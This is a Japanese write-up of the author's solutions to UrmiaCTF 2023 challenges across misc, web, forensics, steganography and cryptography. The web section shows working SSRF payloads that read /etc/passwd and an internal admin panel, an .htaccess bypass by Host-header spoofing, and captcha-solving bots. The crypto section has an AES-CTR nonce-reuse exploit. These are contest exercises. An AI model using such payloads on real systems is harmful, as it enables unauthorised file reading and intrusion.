この大会は2023/9/2 21:00(JST)~2023/9/4 21:00(JST)に開催されました。
今回もチームで参戦。結果は3450点で467チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。
Warm Up (Misc 25)
問題にフラグが書いてあった。
UCTF{W3lc0m3_t0_URMIA}
Appellations (Misc 200)
https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlにMorseCode.wavをアップロードしデコードする。
7U2QU01535011741230F4242841J4N
UCTF{7U2QU01535011741230F4242841J4N}
Any Questions? (Misc 350)
たまに間違った回答をするので、複数回実行して確認する。
Is it a food? : Yes. Is it a vegetable? : No. Is it a fruit? : No. Does the key string start with s? : Yes. Is the key string length longer than 4? : No. Is the key string length longer than 3? : Yes Does the key string include sa? : Yes. Does the key string include sal? : Yes.
入力:salt 出力:Congrats! The key is "salt". You found the key! The flag is the md5 encryption of this Key!
$ echo -n salt | md5sum ceb20772e0c9d240c75eb26b0e37abee -
UCTF{ceb20772e0c9d240c75eb26b0e37abee}
E Corp. (Web 200)
Azitaをクリックすると、https://ecorpblog.uctf.ir/view/Azitaに遷移し、対応するメッセージが表示される。スクリプトを見ると以下のように書いてある。
async function fetchPost(id) { const fetchResult = await fetch(API_PATH, { method: 'POST', cache: 'no-cache', headers: { 'Content-type': 'application/json' }, body: JSON.stringify({ post: `file:///posts/${id}` }) }); const resp = await fetchResult.json(); if (resp.status == 'success') { return resp.post; } else { throw new Error(resp.msg); } }
ローカルファイルを読み取っている。
$ curl https://ecorpblog.uctf.ir/api/view.php -H 'Content-type: application/json' -d '{"post": "file:///posts/Azita"}' {"status":"success","post":"Do not be afraid; our fate\nCannot be taken from us; it is a gift."} $ curl https://ecorpblog.uctf.ir/api/view.php -H 'Content-type: application/json' -d '{"post": "file:///etc/passwd"}' {"status":"success","post":"root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\n"}
"file://"でなく、"http://"でアクセスできるはず。
$ curl https://ecorpblog.uctf.ir/api/view.php -H 'Content-type: application/json' -d '{"post": "http://admin-panel.local"}' {"status":"success","post":"uctf{4z174_1n_urm14}"}
uctf{4z174_1n_urm14}
htaccess (Web 250)
one/.htaccess - HTTPヘッダで Hostにlocalhostを指定すればよい。
$ curl http://htaccess.uctf.ir/one/flag.txt -H 'Host: localhost' uctf{Sule_
two/.htaccess - URLに"flag"が含まれているとNG。一部をURLエンコードすればよい。
$ curl http://htaccess.uctf.ir/two/%66lag.txt
Dukol_waterfall}
uctf{Sule_Dukol_waterfall}
Captcha1 | the Missing Lake (Web 250)
Capchaがテキストの画像で表示される。300回入力する必要があるので、スクリプトで対応する。なおTesseractのOCRエンジンを使うが、誤認識がある。だが連続で300回正解する必要はなく、途中で誤りがあっても問題ないので、そのままスクリプトで実行する。
#!/usr/bin/env python3 import requests import re import base64 import pyocr from PIL import Image IMAGE_FILE = 'captcha.png' def save_image(b64): with open(IMAGE_FILE, 'wb') as f: f.write(base64.b64decode(b64)) def image_to_text(): img = Image.open(IMAGE_FILE) text = tool.image_to_string(img, lang="eng", builder=builder) return text.encode() pyocr.tesseract.TESSERACT_CMD = r'C:\Program Files\Tesseract-OCR\tesseract.exe' tools = pyocr.get_available_tools() tool = tools[0] builder = pyocr.builders.TextBuilder(tesseract_layout=7) url = 'https://captcha1.uctf.ir/' pattern = 'base64,(.+)" alt' pattern2 = 'captchas (\d+) more to go' s = requests.Session() r = s.get(url) m = re.search(pattern, r.text) b64 = m.group(1) save_image(b64) text = image_to_text()[:6] m = re.search(pattern2, r.text) rem = m.group(1) print('[+] more %s' % rem) print('[+] answer:', text) while True: payload = {"captcha": text} r = s.post(url, data=payload) m = re.search(pattern, r.text) if m is None: break b64 = m.group(1) save_image(b64) text = image_to_text()[:6] m = re.search(pattern2, r.text) if m is None: break rem = m.group(1) print('[+] more %s' % rem) print('[+] answer:', text) print('[*] =================================') print(r.text)
実行結果は以下の通り。
: : [+] more 4 [+] answer: b'128862' [+] more 3 [+] answer: b'S4b8bF' [+] more 3 [+] answer: b'0a0652' [+] more 2 [+] answer: b'aa3b44' [+] more 1 [+] answer: b'dd5795' [*] ================================= <!DOCTYPE html> <html lang="en"> <head> <title>UCTF captcha1</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="styles.css"> </head> <body> <main> <h4> We love captchas, so you should too! solve 300 of them! haha! </h4> <h4> You have done it! there you go UCTF{7h3_m1551n6_l4k3} </h4> <div></div> <form action="" method='post'> <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKgAAAAlCAIAAABZBzXlAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABNElEQVR4nO2ZSw6EIBBEdeLGk7n3oO49mdtZmBDCpwHjKDVVb2WQpglPGscZj20ZBB+ftycg3kHiSZF4UiSeFIknReJJkXhSJJ4UiSdF4kmReFIknpTp7Qk0MK+7uzb+Wzq7+R3ilmJULpffXhyzZ2B2vBNzrnUgoBh4ISTO5be3TqM3MMQH27F+0S88LkYuN07rNDoEo9QXK6pbfaPCH9syr/u87nE9j3XWUHOCdAuG+IDkeXztCChGJe0mnxgsMEq9j2F9qDZRGZXb0zrjn+bJ6lrMBe0eSXyr9dw7+S9ywQEj3qi6Q2Q3vmv/LgiicrncOHY3CEaIeefKafL9vP4DTjLKzvU3H3AwxIvbgSn14l4knhSJJ0XiSZF4UiSeFIknReJJkXhSJJ4UiSdF4kmReFK+yj/JEmQJSzsAAAAASUVORK5CYII=" alt="Generated Image"> <input type='text' name='captcha' placeholder='enter captcha'> <button type='submit'>Submit</button> </form> </main> </body> </html>
UCTF{7h3_m1551n6_l4k3}
captcha2 | the Missing Lake 2 (Web 350)
問題にURLが書いていないが、Captcha1と同じようなURLと考え、以下のURLが問題のURLであると推測する。
https://captcha2.uctf.ir/
画像の動物の種類を2種類ハイフン区切りで答える。おそらく画像ファイル名と一致するので、それぞれ対応付けを確認する。
6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F.jpeg: rabbit C29E4D9C8824409119EAA8BA182051B89121E663.jpeg: eagle 148627088915C721CCEBB4C611B859031037E6AD.jpeg: snake 091B5035885C00170FEC9ECF24224933E3DE3FCC.jpeg: horse E49512524F47B4138D850C9D9D85972927281DA0.jpeg: dog 73335C221018B95C013FF3F074BD9E8550E8D48E.jpeg: penguin 09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16.jpeg: bear FF0F0A8B656F0B44C26933ACD2E367B6C1211290.jpeg: fox 9E05E6832CAFFCA519722B608570B8FF4935B94D.jpeg: mouse 9D989E8D27DC9E0EC3389FC855F142C3D40F0C50.jpeg: cat 5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg: duck
#!/usr/bin/env python3 import requests import re animals = { '6D0EBBBDCE32474DB8141D23D2C01BD9628D6E5F': 'rabbit', 'C29E4D9C8824409119EAA8BA182051B89121E663': 'eagle', '148627088915C721CCEBB4C611B859031037E6AD': 'snake', '091B5035885C00170FEC9ECF24224933E3DE3FCC': 'horse', 'E49512524F47B4138D850C9D9D85972927281DA0': 'dog', '73335C221018B95C013FF3F074BD9E8550E8D48E': 'penguin', '09F5EDEB4F5B2A4E4364F6B654682C6758A3FA16': 'bear', 'FF0F0A8B656F0B44C26933ACD2E367B6C1211290': 'fox', '9E05E6832CAFFCA519722B608570B8FF4935B94D': 'mouse', '9D989E8D27DC9E0EC3389FC855F142C3D40F0C50': 'cat', '5ECE240085B9AD85B64896082E3761C54EF581DE': 'duck' } url = 'https://captcha2.uctf.ir/' pattern = '<img src="(.+)\.jpeg">\s+<img src="(.+)\.jpeg">' pattern2 = 'captchas (\d+) more to go' s = requests.Session() r = s.get(url) m = re.search(pattern, r.text) img1 = m.group(1) img2 = m.group(2) text = '-'.join([animals[img1], animals[img2]]) m = re.search(pattern2, r.text) rem = m.group(1) print('[+] more %s' % rem) print('[+] answer:', text) for i in range(100): payload = {"captcha": text} r = s.post(url, data=payload) if i == 99: break m = re.search(pattern, r.text) img1 = m.group(1) img2 = m.group(2) text = '-'.join([animals[img1], animals[img2]]) m = re.search(pattern2, r.text) rem = m.group(1) print('[+] more %s' % rem) print('[+] answer:', text) print('[*] =================================') print(r.text)
実行結果は以下の通り。
: : [+] more 7 [+] answer: bear-mouse [+] more 6 [+] answer: dog-penguin [+] more 5 [+] answer: rabbit-duck [+] more 4 [+] answer: fox-horse [+] more 3 [+] answer: cat-duck [+] more 2 [+] answer: bear-horse [+] more 1 [+] answer: snake-horse [*] ================================= <!DOCTYPE html> <html lang="en"> <head> <title>UCTF captcha2</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="styles.css"> </head> <body> <main> <h4> Weeelp us! </h4> <h3> You should enter the captcha in following format: snake-horse </h3> <h4> You have done it! there you go UCTF{Arm3n1an_m0uflon} </h4> <h4></h4> <form action="" method='post'> <div> <img src="C29E4D9C8824409119EAA8BA182051B89121E663.jpeg"> <img src="5ECE240085B9AD85B64896082E3761C54EF581DE.jpeg"> </div> <input type='text' name='captcha' placeholder="enter captcha"> <button type='submit'>Submit</button> </form> </main> </body> </html>
UCTF{Arm3n1an_m0uflon}
HTTPS Decryption (Forensics 150)
Wiresharkでpcapngを開き、以下の設定をする。
1.[編集]-[設定]を選択する。 2.[Protocols]-[TCP]を選択し、以下の2項目にチェックを入れる。 - "Allow subdissector to reassemble TCP stream" - "Reassemble out-of-order semgemnts" 3.[Protocols]-[TLS]を選択し、(Pre)-Master-Secret log filenameに添付のmaster_keys.logを設定する。
これでTLS通信を復号できる。No.72のパケットにフラグが書いてあった。
<html> <head> <title>Urmia CTF</title> </head> <body> <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSA0fc7EUojiayunXbDm-PxjWGSzsopNrFL_g&usqp=CAU"> <h1>uctf{St._Sarkis_Church}</h1> </body> </html>
uctf{St._Sarkis_Church}
Network Punk (Forensics 250)
TCP Streamを順に見ていく。tcp.stream eq 8でフィルタリングしたときに以下の通信が見えた。
Hi there. Welcome to UCTF server. Give the correct command and I will expose flag to you! showflag For getting the flag, be more polite sir! OK. give me flag! 200 OK. I've got your data [17 bytes]! showflag For getting the flag, be more polite sir! would you please give me the flag? For sure. Here is the flag: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@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@@@@ @@@@@@ @@@ @@@ @@@@@@ @@@@@ @@@@ @@@ @@@@@@ @@@ @@@@ @@@@@@ @@ @@ @@@@ @@@@@@ @@@@@@@@@@@ @@ @@@@ @@@@ @@@@ @ @@@@@ @@@@ @@@@@@ @ @@ @@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ quit OK. Have a good time! I'm closing the connection now ...
uctf{urm14_n3tw0rk}
Hidden Streams (Forensics 250)
FTK Imagerで開き、以下のファイルをエクスポートする。
・[root]-[flag.zip] ・[root]-[flag.zip]-[lookbehind]
flag.zipはzipでなく、テキストで以下のように書いてあった。
password:Atoosa
lookbehindはzipでパスワードがかかっていたので、上記の"Atoosa"で解凍する。展開されたuctf_flag.txtにフラグが書いてあった。
uctf{St. Mary Church}
Dorna (Steganography 200)
問題に書かれているパスワードを使って、steghideで秘密データを抽出する。
$ steghide extract -sf dorna.jpg Enter passphrase: wrote extracted data to "dorn4.txt". $ cat dorn4.txt Hello, wish you success in our event 'dorna lar yovasi' is the nickname of a stadium in Urmia where volleyball lovers gather together. This place has hosted important competitions such as the VNL and the Asian Championship. flag : uctf{ZG9ybmFfbGFyX3lvdmFzaQ==} *base64-encoded $ echo ZG9ybmFfbGFyX3lvdmFzaQ== | base64 -d dorna_lar_yovasi
uctf{dorna_lar_yovasi}
Deb File | The Old Systems (Steganography 350)
debを解凍すると、以下のファイルが展開される。
・control.tar.gz ・data.tar.gz ・debian-binary
control.tar.gzを解凍すると、以下のファイルが展開される。
・control ・postinst
postinstの内容にフラグが含まれていた。
UCTF{c4n_p3n6u1n5_5urv1v3_1n_54l7_w473r}
Insider's Secret (Cryptography 75)
何重にもbase64エンコードされているので、繰り返しデコードする。
#!/usr/bin/env python3 from base64 import * enc = 'Vm14V1QxWldTblZqTTJoWlpXeEtNRmRJY0VaTlIwWTJWRzFhYTFaRmNEQlVWbEpUVDFFOVBRPT0=' for i in range(4): enc = b64decode(enc) flag = enc.decode() print(flag)
UCTF{1_4m_14k3_u2m14}
Noql (Cryptography 100)
Fernet暗号と推測し、復号する。
#!/usr/bin/env python3 from cryptography.fernet import Fernet with open('noql.txt', 'r') as f: ct = f.read() key = 'CT0cgUTU7gBBvA3DOk4H30JMQSFwNm-viqZm9eDwPK8=' f = Fernet(key) flag = f.decrypt(ct).decode() print(flag)
復号結果は以下の通り。
Urmia Noql is a type of sweet that is a delicious souvenir!! flag : ucf{urum_noql}
ucf{urum_noql}
Breaking AES (Cryptography 450)
サーバの処理概要は以下の通り。
・server = CryptorServer(key, flag) ・MAX_INPUT_LEN = 64 ・IV_LEN = 8 ・server.host = '0.0.0.0' ・server.port = 7000 ・server.timeout = 8 ・server.__key: keyのhexデコード ・server.__flag: flagバイト文字列 ・asyncio.run(server.run()) ・server.__encrypt(server.__flag)を表示 ・int(time.time()) * len(server.__flag)をseedとする乱数取得準備 ・nonce: random.randbytes(8) ・ciphertext: server.__flagをnonceを使ってAES-CTRモードで暗号化 ・nonce + ciphertextをbase64エンコードして表示 ・user_input: 入力 ・入力の長さが64より短い場合以下を実行 ・enc = server.__encrypt(user_input.strip()) ・encを表示
同じタイミングでフラグと同じ長さを入力すれば、同じ鍵を暗号化し、平文とのXORを取る。これによりフラグをXORで復号することができる。
#!/usr/bin/env python3 import socket from base64 import * from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('aes.uctf.ir', 7001)) data = recvuntil(s, b'\n').rstrip() print(data) enc_flag = b64decode(data.split(' ')[-1]) nonce = enc_flag[:8] try_pt = 'A' * (len(enc_flag) - 8) data = recvuntil(s, b': ') print(data + try_pt) s.sendall(try_pt.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) try_ct = b64decode(data) if try_ct[:8] == nonce: break flag = strxor(strxor(try_pt.encode(), try_ct[8:]), enc_flag[8:]).decode() print(flag)
実行結果は以下の通り。
Encrypted flag: CRzrX5McKKmKiaHgiGdu4TK2YGSnBzwLO9U31tvwq1kORGKH Give me a message and I'll encrypt it for you: AAAAAAAAAAAAAAAAAAAAAAAAAAAA CRzrX5McKKm+q5THskIexCyOEVC5LAh/TcsU5amFgUd7Nha7 uctf{d1d_y0u_ju57_br34k_435}
uctf{d1d_y0u_ju57_br34k_435}